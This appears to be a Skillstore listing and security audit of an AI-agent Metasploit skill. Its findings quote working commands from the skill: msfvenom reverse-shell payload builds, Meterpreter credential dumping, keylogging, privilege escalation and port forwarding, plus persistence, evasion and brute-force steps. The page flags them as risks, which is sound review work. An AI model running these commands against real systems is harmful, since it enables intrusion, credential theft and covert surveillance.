Skills metasploit-framework
📦
metasploit-framework
Content revision r2 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Plan Authorized Metasploit Assessments
Security teams need a structured reference for complex Metasploit workflows. This skill organizes module selection, payload handling, sessions, post-exploitation, and reporting for authorized assessments.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "metasploit-framework" from https://skillstore.io/skills/sickn33-metasploit-framework.md and its manifest at https://skillstore.io/api/skills/sickn33-metasploit-framework/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "metasploit-framework". Explain how to prepare before validating a vulnerability in a lab.
Expected outcome:
- Confirm the exact lab target and written scope.
- Record versions, network boundaries, snapshots, and stop conditions.
- Prefer a non-destructive check before any exploit attempt.
- Collect minimal evidence and restore the environment afterward.
Using "metasploit-framework". Summarize the risks of the documented post-exploitation phase.
Expected outcome:
The phase can access files, credentials, screens, processes, and network routes. These actions require explicit scope, data controls, monitoring, and cleanup.
Security Audit
Criticalv5 • 8/4/2026 Open versioned report
Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.
1
Files scanned
497
Lines analyzed
3
Review items
0
False positives ignored
Confirmed security concerns (60)
Critical
Keylogger keywords
# Screenshots and Keylogging
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Critical
Keylogger keywords
| `keyscan_start` | Start keylogger |
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Critical
Metasploit framework
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
windows/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
linux/x86/meterpreter/bind_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Show all 60 confirmed findings
Critical
Metasploit framework
php/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
java/meterpreter/reverse_https
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
android/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
### Phase 6: Meterpreter Session
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
Work with Meterpreter post-exploitation:
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
# After successful exploitation, you get Meterpreter prompt
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > sysinfo
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getuid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getpid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > pwd
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ls
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > cd C:\\Users
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > download file.txt /tmp/
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > upload /tmp/tool.exe C:\\
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ps
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > migrate [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > kill [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ipconfig
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > netstat
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > route
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getsystem
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getprivs
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > run post/windows/gather/credentials/credential_collector
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > screenshot
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_start
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_dump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_stop
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > shell
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > background
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > run post/windows/gather/hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
[*] Meterpreter session 1 opened
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Post-Compromise Persistence Guidance
The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.
The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct.
Critical
Security Control Evasion Guidance
The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.
The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions.
High
Screen capture upload
| `screenshot` | Capture screen |
The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.
High
Network scanning tools
| `db_nmap` | Run nmap with database |
The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.
High
Credential Brute Force Workflow
The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.
The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack.
Low
System reconnaissance
meterpreter > getuid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
System reconnaissance
meterpreter > getpid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
System reconnaissance
C:\Windows\system32> whoami
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
Network reconnaissance
meterpreter > netstat
The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.
Capability review items (3)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
sudo privilege escalation
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.
High
Temp directory access
meterpreter > download file.txt /tmp/
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
High
Temp directory access
meterpreter > upload /tmp/tool.exe C:\\
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
Risk Factors
⚙️ External commands (50)
SKILL.md:33-37 SKILL.md:37-41 SKILL.md:41 SKILL.md:69-86 SKILL.md:86-92 SKILL.md:92-118 SKILL.md:118-124 SKILL.md:124-145 SKILL.md:145-151 SKILL.md:151-184 SKILL.md:184-190 SKILL.md:190-210 SKILL.md:210-216 SKILL.md:216-267 SKILL.md:267-273 SKILL.md:273-306 SKILL.md:306-312 SKILL.md:312-347 SKILL.md:347-353 SKILL.md:353-386 SKILL.md:386-392 SKILL.md:392-408 SKILL.md:408-416 SKILL.md:416-417 SKILL.md:417-418 SKILL.md:418-419 SKILL.md:419-420 SKILL.md:420-421 SKILL.md:421-422 SKILL.md:422 SKILL.md:423-424 SKILL.md:424-425 SKILL.md:425-426 SKILL.md:426-427 SKILL.md:427-428 SKILL.md:428-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-448 SKILL.md:448-464 SKILL.md:464-490 SKILL.md:490
🌐 Network access (19)
📁 Filesystem access (2)
Detected Patterns
Keylogger keywords×2Screen capture uploadMetasploit framework×49System reconnaissance×3Network reconnaissanceNetwork scanning tools
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-metasploit-framework/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-metasploit-framework.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). metasploit-framework security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-metasploit-framework/audits/5BibTeX citation
@techreport{zebbern-sickn33-metasploit-framework-2026,
author = {zebbern},
title = {metasploit-framework security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-metasploit-framework/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "metasploit-framework security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-08-04"
url: "https://skillstore.io/skills/sickn33-metasploit-framework/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-metasploit-framework:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Prepare a Controlled Lab
Review module categories and build a disposable environment before any authorized test.
Structure an Assessment
Organize module research, option validation, evidence collection, and cleanup within written scope.
Review Test Coverage
Compare planned validation activities with approved rules of engagement and defensive monitoring.
Try These Prompts
Learn the Module Types
Explain Metasploit module categories for a beginner. Use conceptual examples only and do not provide commands that affect a target.
Plan a Safe Lab
Create a checklist for an isolated Metasploit training lab. Include authorization, snapshots, network isolation, evidence handling, and cleanup.
Review an Authorized Scope
Review this written assessment scope: [scope]. Identify permitted targets, prohibited actions, confirmation gates, evidence requirements, and stop conditions.
Design Defensive Validation
Design a non-destructive validation plan for [CVE] in [lab environment]. Include prerequisites, safe checks, monitoring, rollback, and reporting criteria.
Best Practices
- Use only isolated systems covered by current written authorization.
- Show every target-changing command and obtain explicit confirmation before execution.
- Minimize collected data, preserve evidence, and remove test artifacts after validation.
Avoid
- Do not test public or third-party systems without explicit written permission.
- Do not use keylogging, credential dumping, persistence, or evasion outside approved research.
- Do not replace target placeholders until scope and network boundaries are verified.
Frequently Asked Questions
Does this skill install Metasploit?
No. It assumes Metasploit is already installed and refers users to platform documentation.
Can this skill verify my authorization?
No. The user and assessment owner must establish written permission and exact scope.
Is this suitable for production systems?
Only under a formal engagement with approved actions, backups, monitoring, and stop conditions.
Does it include active exploitation instructions?
Yes. It documents exploit execution, payloads, handlers, and post-exploitation commands.
What data could the workflows access?
They can access credentials, files, screenshots, keystrokes, processes, and network information.
What is the safest learning environment?
Use a disposable, isolated lab with snapshots, synthetic data, and no route to production networks.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r2
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/metasploit-frameworkRef
81e05e636292629114b76cbb3922fbe57672fc02
Maintenance freshness
8/5/2026
Usage
9 downloads · 144 views
File structure
📄 SKILL.md